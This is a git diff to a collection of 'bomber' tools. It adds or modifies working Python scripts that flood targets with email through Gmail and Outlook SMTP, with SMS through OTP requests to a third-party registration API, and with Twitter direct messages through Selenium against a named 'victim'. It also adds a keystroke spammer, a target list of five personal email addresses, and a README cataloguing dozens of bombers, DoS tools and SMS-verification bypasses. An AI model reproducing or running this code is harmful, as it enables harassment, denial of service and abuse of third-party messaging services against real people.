diff --git a/Email_Bomber_Version2.py b/Email_Bomber_Version2.py
new file mode 100644
index 0000000..5555933
--- /dev/null
+++ b/Email_Bomber_Version2.py
@@ -0,0 +1,33 @@
+import smtplib
+import time
+print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m")
+print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By @everydaycodings \033[1;m")
+print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| Made with code \033[1;m")
+print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m")
+print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m")
+print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m")
+
+files = open('email.txt', 'r')
+bomb_emails = files.readlines()
+
+
+email = input("Enter your gmail_address:")
+password = input("Enter your gmail_password:")
+message = input("Enter Message:")
+message_relode = int(input("How many message you want to send?:"))
+
+
+for bomb_email in bomb_emails:
+ for x in range(0, message_relode):
+ mail = smtplib.SMTP('smtp.gmail.com',587)
+ mail.ehlo()
+ mail.starttls()
+ mail.login(email,password)
+ mail.sendmail(email,bomb_email,message)
+ print("message sent to {}".format(bomb_email))
+ time.sleep(1)
+
+mail.close()
+files.close()
+
+print("Done")
diff --git a/Email_bomber.py b/Email_bomber.py
index 0db16d2..1c1674e 100644
--- a/Email_bomber.py
+++ b/Email_bomber.py
@@ -14,14 +14,22 @@ try:
message = input("Enter Message:")
counter = int(input("How many message you want to send?:"))
+ # gmail of outlook
+ s_ = input('Select the service provider (Gmail / Outlook): ').lower()
+
+ if s_ == "gmail":
+ mail = smtplib.SMTP('smtp.gmail.com',587)
+ elif s_ == "outlook":
+ mail = smtplib.SMTP('smtp.office365.com',587)
+
for x in range(0,counter):
print("Number of Message Sent : ", x+1)
- mail = smtplib.SMTP('smtp.gmail.com',587)
mail.ehlo()
mail.starttls()
mail.login(email,password)
mail.sendmail(email,bomb_email,message)
time.sleep(1)
+
mail.close()
except Exception as e:
print("Something is wrong, please Re-try Again with Valid input.")
diff --git a/README.md b/README.md
index 385c470..9524504 100644
--- a/README.md
+++ b/README.md
@@ -1,90 +1,97 @@
# :boom::bomb::bomb::bomb: BOMBERs :bomb::bomb::bomb::boom:
-SMS/Email/whatsapp Bombers Collection.
+***SMS/Email/Whatsapp/Twitter/Instagram 𝔹𝕠𝕞𝕓𝕖𝕣𝕤 ℂ𝕠𝕝𝕝𝕖𝕔𝕥𝕚𝕠𝕟. ♡ Also added collection of some Fake SMS utilities which helps in skip phone number based SMS verification by using a temporary phone number that acts like a proxy.***
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) : Working
-![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) : Not- Working (Or need some modifications)
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) : Others (pending, Some anothers issues OR not checked that is it working or not.)
+| Status | Description | Color Code |
+|--------|-------------|------------|
+|Working| The Script is working. | ![Working](https://i.ibb.co/3FntR1c/1.png) |
+|Not- Working| Scripts are not working Or need some modifications.|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) |
+|Others| Pending, Some anothers issues OR not checked that is it working or not.| ![Others](https://i.ibb.co/pQwqwcN/3.png)|
### SMS BOMBERS :calling: :boom:
-
-![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) 1. Sms_bomber.py -> sending continues sms from using one single link.
- NOTE: Sms_bomber.py not working anymore, please refer: Sms_bomber_updated.py
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 2. Sms_bomber_version2.py -> sending continues sms from using one Multiple links.
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 3. bomb3r 💣 -> sending continues sms from on specified mobile number (25 different sms providers)- by iMro0t
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. numspy_bomber.py -> Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update)
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 5. SmS-BomB -> Your Own SmS BomBer...!!! - by [Bhai4You](https://github.com/Bhai4You)
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 6. SpamSms -> Spamming mobile number with OTP. - by KANG-NEWBIE
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 7. C-SpamMasal -> Spamming mobile number with OTP. - by KANG-NEWBIE
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 8. SMS-BOMBER -> SMS Bomber. - by jdleo
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 9. SMS spamming using email address -> SMS using email. - by metachar
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 10. TBomb -> SMS Bomber(Ubuntu/termux) - by TheSpeedX
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 11. smsBomb -> SMS Bomber. - by shellvon
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 12. sms-bomber -> SMS Bomber. - by aarnhub
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 13. Reborn SMS Bomber For Termux and Linux -> Reborn SMS Bomber. - by 4nat
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 14. ni_bomber -> SMS Bomber - by Nikait
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 15. YetAnotherSMSBomber -> Sms Bomber. - by AvinashReddy3108
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| Sms_bomber.py | Sending continues sms from using one single link. NOTE: Sms_bomber.py is now working too Thanks to [Ghost](https://github.com/ghost). Also refer: Sms_bomber_updated.py | bhattsameer| ![Working](https://i.ibb.co/3FntR1c/1.png) |
+|2.| Sms_bomber_version2.py | Sending continues sms from using one Multiple links.| bhattsameer| ![Others](https://i.ibb.co/pQwqwcN/3.png)|
+|3.| bomb3r 💣 |Sending continues sms from on specified mobile number (25 different sms providers) |iMro0t | ![Working](https://i.ibb.co/3FntR1c/1.png) |
+|4.| numspy_bomber.py | Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update) |bhattsameer|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|5.| SmS-BomB| Your Own SmS BomBer...!!! |[Bhai4You](https://github.com/Bhai4You) |![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|6.| SpamSms |Spamming mobile number with OTP.|KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png)|
+|7.| C-SpamMasal |Spamming mobile number with OTP. |KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|8.| SMS-BOMBER |SMS Bomber.|jdleo|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|9.| TBomb |A free and open-source SMS/Call bombing application | TheSpeedX|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|10.| smsBomb |SMS Bomber.| shellvon|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|11.| sms-bomber| SMS Bomber. |aarnhub|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|12.| Reborn SMS Bomber For Termux and Linux|Reborn SMS Bomber. |4nat|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|13.| ni_bomber |SMS Bomber |Nikait|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) |
+|14.| YetAnotherSMSBomber|Sms Bomber.|AvinashReddy3108|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) |
+|15.| smsbomb|Sms Bomber.|1d8|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|16.| XLR8_BOMBER|Superfast SMS bomber for linux and termux, Also sends OTP to whatsapp. |anubhavanonymous |![Working](https://i.ibb.co/3FntR1c/1.png) |
+|17.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) |
### EMAIL BOMBERS :e-mail: :boom:
-
-![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) 1. Email_bomber.py -> sending continues email.
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 2. Email_bomber -> sending continues email -by [zanyarjamal](https://github.com/zanyarjamal)
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 3. Email_bomb -> sending continues email using your yahoo and gmail account-by [MrMugiwara](https://github.com/MrMugiwara)
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. EmBomber -> Email Bomber. - by MazenElzanaty
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 5. Python---Email-Bomber -> Email Bomber. - by ncorbuk
-
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 6. EmailPySpam -> Email Bomber. - by Curioo
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 7. Email-Spammer -> Email Bomber. - by Juniorn1003
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| Email_bomber.py |Sending continues email. Update with Outlook bomber as well |[xyzricky](https://github.com/xyzricky)|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|2.| Email_bomber |Sending continues email. |[zanyarjamal](https://github.com/zanyarjamal) |![Working](https://i.ibb.co/3FntR1c/1.png) |
+|3.| Email_bomb |Sending continues email using your yahoo and gmail account.|[MrMugiwara](https://github.com/MrMugiwara)|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|4.| EmBomber| Email Bomber. |MazenElzanaty|![Others](https://i.ibb.co/pQwqwcN/3.png)|
+|5.| Python---Email-Bomber | Email Bomber.| ncorbuk|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|6.| EmailPySpam |Email Bomber.|Curioo|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|7.| Email-Spammer | Email Bomber. | Juniorn1003|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|8.| Email-Bomber |Email Bomber.|mohinparamasivam|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|9.| Fast Mail Bomber |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails via mailman services hosted by different providers. | juzeon|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|10.| Email_Bomber_Version2 |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails To multiple Victims(Improved Version). | everydaycodings|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|11.| Atomic Email Bomb | A better Gmail bomber. | zeyad-mansour|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|12.| email-bomber |this is a email bomber unlike other email bombers u don't need your gmail email id to use this. |[bagarrattaa](https://github.com/bagarrattaa) |![Working](https://i.ibb.co/3FntR1c/1.png) |
+|13.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) |
### Whats-app Bombers :calling: :boom:
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| wbomb.py| Whatsapp-bomber sending multipal message to a single user.|bhattsameer Last Modified: [getPoland](https://github.com/getPoland)|![Working](https://i.ibb.co/3FntR1c/1.png)|
+|2.| whatabomb | Whats-app bomber GUI. | [tbhaxor](https://github.com/tbhaxor)|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|3.| WhatsApp-Bomber | WhatsApp Monitor+Bomber (Chrome Extension)| [rizwansoaib](https://github.com/rizwansoaib)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png)|
+|4.| WhatsApp-Spam | WhatsApp-Spam scripts | [macr1408](https://github.com/macr1408)|![Others](https://i.ibb.co/pQwqwcN/3.png) |
+|5.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) |
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 1. wbomb.py -> Whatsapp-bomber sending multipal message to a single user
+### Twitter Bombers :boom:
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| Twitter_bomber.py |Twitter-bomber this will allow spamming the twitter inbox of a person with the message you want, the person who is using this must make sure that the inbox of the user who will be spammed is open. | [akshaykalucha3](https://github.com/akshaykalucha3)|![Working](https://i.ibb.co/3FntR1c/1.png) |
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 2. whatabomb -> Whats-app bomber GUI - by [tbhaxor](https://github.com/tbhaxor)
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 3. wbomb_version2.py (coming soon) -> Whatsapp-bomber sending multipal message to multipal users.
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. WhatsApp-Bomber -> WhatsApp Monitor+Bomber (Chrome Extension) - by [rizwansoaib](https://github.com/rizwansoaib)
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 5. WhatsApp-Spam -> WhatsApp-Spam scripts - by [macr1408](https://github.com/macr1408)
+### TEMP & Fake-SMS Collection:
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| tmpsms| A temporary SMS utility right from your terminal written in POSIX sh. |[sdushantha](https://github.com/sdushantha)|![Working](https://i.ibb.co/3FntR1c/1.png) |
+|2.| fake-sms| A simple command line tool using which you can skip phone number based SMS verification by using a temporary phone number that acts like a proxy. |[Narasimha1997](https://github.com/Narasimha1997)|![Working](https://i.ibb.co/3FntR1c/1.png) |
### Others:
+| Sr.No. | Name | Description | Developed By | Status |
+|--------|------|--------------|-------------|--------|
+|1.| https://mailspammer.cf | Email Spammer Website. Spam piles and piles of emails! |[WOLFIE_OG](https://github.com/WOLFIE-OG)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) |
+|2.| HPomb|HPomb Call, SMS and mail bomber all in one. |[HoneyPots0](https://github.com/HoneyPots0)|![Others](https://i.ibb.co/pQwqwcN/3.png)|
+|3.| bomberthon |Best Bombing Tool with WhatsApp, Instagram, SMS bomber | [b31ngD3v](https://github.com/b31ngD3v)|![Working](https://i.ibb.co/3FntR1c/1.png)|
+|4.| PySpam | Spam for pc {not work on phone} | [timofey260](https://github.com/timofey260)|![Working](https://i.ibb.co/3FntR1c/1.png)|
-![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 1. https://mailspammer.cf - Email Spammer Website. Spam piles and piles of emails! - by [WOLFIE_OG](https://github.com/WOLFIE-OG)
-
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 2. HPomb -> HPomb Call, SMS and mail bomber all in one - by [HoneyPots0](https://github.com/HoneyPots0)
## Contributors:
-:octocat: [iMro0t](https://github.com/iMro0t)
-:octocat: [rizwansoaib](https://github.com/rizwansoaib)
-:octocat: [scienceLabwork](https://github.com/scienceLabwork)
-:octocat: [cclauss](https://github.com/cclauss)
-:octocat: [rduttshukla](https://github.com/rduttshukla)
-:octocat: [LucasNcipha](https://github.com/LucasNcipha)
+To keep this collection up-to-date need contributors who can add more mobile/email/whatsapp/twitter scripts and github repo here at one place.
+||||
+|--------------|----------|----------|
+|:octocat: [iMro0t](https://github.com/iMro0t)|:octocat: [akshaykalucha3](https://github.com/akshaykalucha3)|:octocat: [bagarrattaa](https://github.com/bagarrattaa)|
+|:octocat: [rizwansoaib](https://github.com/rizwansoaib)|:octocat: [xyzricky](https://github.com/xyzricky)| |
+|:octocat: [scienceLabwork](https://github.com/scienceLabwork)|:octocat: [timofey260](https://github.com/timofey260)| |
+|:octocat: [cclauss](https://github.com/cclauss)|:octocat: [juzeon](https://github.com/juzeon)| |
+|:octocat: [rduttshukla](https://github.com/rduttshukla)|:octocat: [Ghost](https://github.com/ghost)| |
+|:octocat: [LucasNcipha](https://github.com/LucasNcipha)|:octocat: [everydaycodings](https://github.com/everydaycodings)| |
+|:octocat: [zeyad-mansour](https://github.com/zeyad-mansour)|:octocat: [ebankoff](https://github.com/ebankoff)| |
## Note:
-I am not responsible for any thing you do with this script
-This is just for learning and knowledge purpose.
+𝙄 𝙖𝙢 𝙣𝙤𝙩 𝙧𝙚𝙨𝙥𝙤𝙣𝙨𝙞𝙗𝙡𝙚 𝙛𝙤𝙧 𝙖𝙣𝙮 𝙩𝙝𝙞𝙣𝙜 𝙮𝙤𝙪 𝙙𝙤 𝙬𝙞𝙩𝙝 𝙩𝙝𝙞𝙨 𝙨𝙘𝙧𝙞𝙥𝙩
+𝙏𝙝𝙞𝙨 𝙞𝙨 𝙟𝙪𝙨𝙩 𝙛𝙤𝙧 𝙡𝙚𝙖𝙧𝙣𝙞𝙣𝙜 𝙖𝙣𝙙 𝙠𝙣𝙤𝙬𝙡𝙚𝙙𝙜𝙚 𝙥𝙪𝙧𝙥𝙤𝙨𝙚.
## Please contribute!
diff --git a/SMS_bomber.py b/SMS_bomber.py
index 7e20c78..c9e08dc 100644
--- a/SMS_bomber.py
+++ b/SMS_bomber.py
@@ -1,9 +1,15 @@
-from urllib.request import Request,urlopen
-from urllib.parse import urlencode
+#python2
+#from urllib.request import Request,urlopen
+import urllib2,cookielib
+#from urllib.parse import urlencode
import platform
import os
import time
-from random import randint
+
+try:
+ raw_input
+except NameError:
+ raw_input = input
def banner():
if platform.system().lower()=="windows":
@@ -11,7 +17,6 @@ def banner():
else:
os.system("clear")
print("""
-
/$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$
/$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$
| $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$
@@ -21,43 +26,36 @@ def banner():
| $$$$$$/| $$ \/ | $$| $$$$$$/ | $$$$$$$/| $$$$$$/| $$ \/ | $$| $$$$$$$/| $$$$$$$$| $$ | $$
\______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/
- By : D3XBugg3R
- Modded By: Lucas
- With <3 of T34M GCA
+ By : D3XBugg3R
Note : I won't be responsible for any damage caused by this script, Use at your own risk
""")
-#http://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=
#https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=
#http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile=
-#http://www.quikr.com/SignIn?aj=1&for=send_otp&user=
-
#https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=
-
-how_many = input("How many numbers do you want to bomb? ")
-numbers = []
-for i in range(how_many):
- temp = str(input(f"Enter the number {i+1}: "))
- numbers.append(temp)
-
def send(num, counter, slep):
#url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="]
- url="https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile="
- data={"phone":num}
+ url="https://securedapi.confirmtkt.com/api/platform/register?mobileNumber="
+ #data={"phone":num}
+ hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding': 'none','Accept-Language': 'en-US,en;q=0.8','Connection': 'keep-alive'}
+ result_url=url+num
+ req = urllib2.Request(result_url, headers=hdr)
for x in range(counter):
banner()
- print("Target Number : ", num)
- print("Number of Message Sent : ", x+1)
- result_url=url+num
- resp1=Request(result_url)
- urlopen(resp1)
+ #print("Target Number : 01531999473", num)
+ #print("Number of Message Sent : ", x+1)
+ page = urllib2.urlopen(req)
+ #resp1=Request(result_url)
+ #urlopen(resp1)
time.sleep(slep)
try:
banner()
- for number in numbers:
- send(number, int(input(f"Enter Number of Messages for {number} : ")), randint(3))
+ number = raw_input("Enter mobileNumber: ")
+ count = raw_input("Enter number of Message: ")
+ throttle = raw_input("Enter time of sleep: ")
+ send(number,int(count), int(throttle))
except Exception as e:
print("Something is wrong please Re-run this script.")
diff --git a/Twitter_bomber.py b/Twitter_bomber.py
new file mode 100644
index 0000000..8fd84b3
--- /dev/null
+++ b/Twitter_bomber.py
@@ -0,0 +1,103 @@
+from selenium import webdriver
+import os
+from webdriver_manager.chrome import ChromeDriverManager
+import argparse
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support import expected_conditions as EC
+import time
+import sys
+from selenium.webdriver.chrome.options import Options
+
+
+def banner():
+ print('''
+ _______ __ __ ____ ____ __ __ ____
+ |__ __| \ \ / / | _ \ / __ \ | \/ | | _ \ /\
+ | | \ \ /\ / / ___ __ _ _ __ | |_) | | | | | | \ / | | |_) | / \
+ | | \ \/ \/ / / __| / _` | | '__| | _ < | | | | | |\/| | | _ < / /\ \
+ | | \ /\ / \__ \ | (_| | | | | |_) | | |__| | | | | | | |_) | / ____ \ ☢️
+ |_| \/ \/ |___/ \__,_| |_| |____/ \____/ |_| |_| |____/ /_/ \_\
+
+ By: akshaykalucha3
+ Note : I won't be responsible for any damage caused by this script, Use at your own risk
+
+ ''')
+
+parser = argparse.ArgumentParser(description='Bomb twitter user with spam messages')
+
+""" 4 Step:
+ cautain: be sure your connection is fast and take no more than 4-5sec to enter username of the victim as chrome driver is stateless
+ and opening a new url after a interval of seconds may log you out of your twitter account.
+
+ 1) run command python Twitter_bomber.py -u *your_twitter_username* -p *your_twitter_password*
+ 2) enter correct username of person you want to spam, make sure his twitter messages are open, after message screen is opened,
+ minimize window 7 follow #3
+ 3) press 1 if you want to manually type the message you eant to send; or 2 if you want to export a file and extract message from there
+ 4) enter message count
+
+"""
+
+parser.add_argument('-u', '--username', type=str, required=True, help="twitter username @\ of user, can be his phone number or email")
+parser.add_argument('-p', '--password', type=str, required=True, help="twitter password of the user")
+args = parser.parse_args()
+
+chrome_options = webdriver.ChromeOptions()
+chrome_options.add_experimental_option("detach", True)
+driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)
+
+
+def bombMsg(n, txt):
+ for i in range(n):
+ WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div'))).send_keys(txt)
+ SendBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[3]')
+ SendBtn.click()
+ print("Bombing Complete !!!")
+ banner()
+
+
+def attack():
+ driver.get('https://twitter.com/login')
+ userId = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[1]/label/div/div[2]/div/input')
+ userId.send_keys(args.username)
+ userPass = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[2]/label/div/div[2]/div/input')
+ userPass.send_keys(args.password)
+ loginBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[3]/div')
+ loginBtn.click()
+ driver.minimize_window()
+
+
+ name = input('Enter the twitter name of victim: ')
+ if len(name) >= 3:
+ pass
+ else:
+ name = input('Enter the name of victim correctly: ')
+
+
+
+ ### GET VICTIM PROFILE PAGE ###
+ driver.get(f'https://twitter.com/{name}')
+ time.sleep(1)
+ driver.maximize_window()
+
+
+ ## GET MESSAGE INBOX ###
+ messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]')
+ messageLink.click()
+
+
+
+ #### SEND MESSAGE IN VICTIMS INBOX ###
+ WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[2]/div/div/div/div/div[1]/div'))).click()
+ MsgBx = driver.find_element_by_css_selector('#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div')
+ Ops = int(input("Select what form of messahe you would like to send: \n Enter [1] to send manual message Enter [2] to import a txt file: "))
+ if Ops == 1:
+ Content = input("Enter the message: ")
+ elif Ops == 2:
+ fileLoc = input("Enter the file location: ")
+ instances = int(input("Enter total count: "))
+
+ bombMsg(instances, Content)
+
+attack()
+
diff --git a/email.txt b/email.txt
new file mode 100644
index 0000000..fe02d66
--- /dev/null
+++ b/email.txt
@@ -0,0 +1,5 @@
+iansarn@gmail.com
+ianschramm77@gmail.com
+ian.sears1@gmail.com
+ian.sheila@gmail.com
+ian.sheldon6@gmail.com
diff --git a/spam.py b/spam.py
new file mode 100644
index 0000000..663242a
--- /dev/null
+++ b/spam.py
@@ -0,0 +1,285 @@
+# Discord: TiMoFey#5066
+# Github: https://github.com/timofey260/pyspam
+# site: https://timofey26s.tilda.ws
+# import______________________________________________
+import codecs
+import pyautogui
+from os import system # system use for clear messages
+from time import sleep # sleep block on load{wait...}
+from colorama import Fore, init # for colored text
+
+# inits________________________________________________
+init(Fore) # colorama init
+uns = '' # unuse str. uses for def error()
+# colors_______________________________________________
+rr = Fore.RED
+rg = Fore.GREEN
+rc = Fore.CYAN
+ry = Fore.YELLOW
+# vars_______________________________________
+x = 6
+modes = 3
+v = "1.2.5"
+run = True
+# banners____________________________________________
+log = ('1.2.5:\n'
+ '-interval added\n')
+b = ('_____ + |||||||||||||||||| \n'
+ ' | /\\ /\\ |||||(0)|||(0)|||| \n'
+ ' | | / \\ / \\ |||||||||||||||||| \n'
+ ' | | / \\ / \\ ||||0\\|||||||/0||| \n'
+ ' | | / \\/ \\ ||||\\00000000/|||| \n'
+ '========spam_programm===========|||||||||||||||||| \n') # menu
+cr = (rg + ' ________________________________________________ \n'
+ '|-------------------Made by Timofey--------------|\n'
+ '|Discord: TiMoFey#5066 |\n'
+ '|Github: https://github.com/timofey260/pyspam |\n'
+ '|site: https://timofey26s.tilda.ws |\n'
+ '|________________________________________________|\n')
+err = (rr + ' _________________________________________________________ \n'
+ '|---------------------------Errors------------------------|\n'
+ '|1. FileError: file not found! |\n'
+ '|2. NumError: {str} not a number! |\n'
+ '|3. IndexError: index out of range! |\n'
+ '|4. TypeError: {str} is not 1 - %1s! |\n'
+ '|5. ListError: Error not found! correct def error() |\n'
+ '|_________________________________________________________|\n' % (x))
+
+
+# deffs___________________________________________
+def error(value, result, ver): # errors: easy moding
+ if value == 1:
+ print('FileError: %1s file not found!' % result)
+
+ elif value == 2:
+ print('NumError: %1s not a number!' % result)
+
+ elif value == 3:
+ print('IndexError: index out of range!')
+
+ elif value == 4:
+ print('TypeError: %1s is not 1 - %1s!' % (result, ver))
+
+ else:
+ print('ListError: Error not found! correct def error()')
+ input()
+ exit()
+
+def menud(pa1, pa2):
+ print(ry + "[" + rc + str(pa1) + ry + "] " + pa2)
+
+
+def menu():
+ print(rr + b)
+ menud(1, 'mode') # menu text
+ menud(2, 'credits')
+ menud(3, 'Errorlist')
+ menud(4, 'exit')
+ menud(5, 'version')
+ menud(6, 'log')
+import pyperclip, keyboard
+
+def paste(text):
+ pyperclip.copy(text)
+ keyboard.press_and_release('ctrl + v')
+
+
+# programms__________________________________________________
+while run:
+
+ menu()
+ name = input('>>> ') # name(int)
+ if name == '1':
+ menud(1, 'file') # menu text
+ menud(2, 'message')
+ menud(3, 'num_message')
+ name = input('>>> ')
+ if name == '1':
+
+ f = input("file name: ") # f - filename(str)
+ print(rg + 'num of messages(you can use"all"): ' + rr)
+
+ n = input() # n - num of messages(int or str('all'))
+ try:
+ inte = int(input("interval[sec]: "))
+
+ except:
+ error(2, inte, ver)
+ if n == 'all':
+ num = 0 # num - index of file(int)
+ fil = f + ".txt" # file.txt
+ try: # errorfind
+ file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'all'
+ except:
+ error(1, fil, x)
+ filew = file
+ le = len(filew)
+ elif n != 'all':
+
+ try: # errorfind
+ n = int(n) # n - num of messages(int or str('all'))
+ except:
+ error(2, n, x)
+ num = 0
+ fil = f + ".txt"
+ try: # errorfind
+ file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'slice'
+ filew = file[:n] # slice of file
+ except:
+ error(1, fil, x)
+ le = len(filew)
+ if n > len(filew):
+ error(3, uns, x)
+
+ elif n == "":
+ error(2, n, x)
+ sleep(4) # wait...
+ system('cls||clear') # cls
+
+ print(ry + b + "\nwait. ")
+ sleep(0.5)
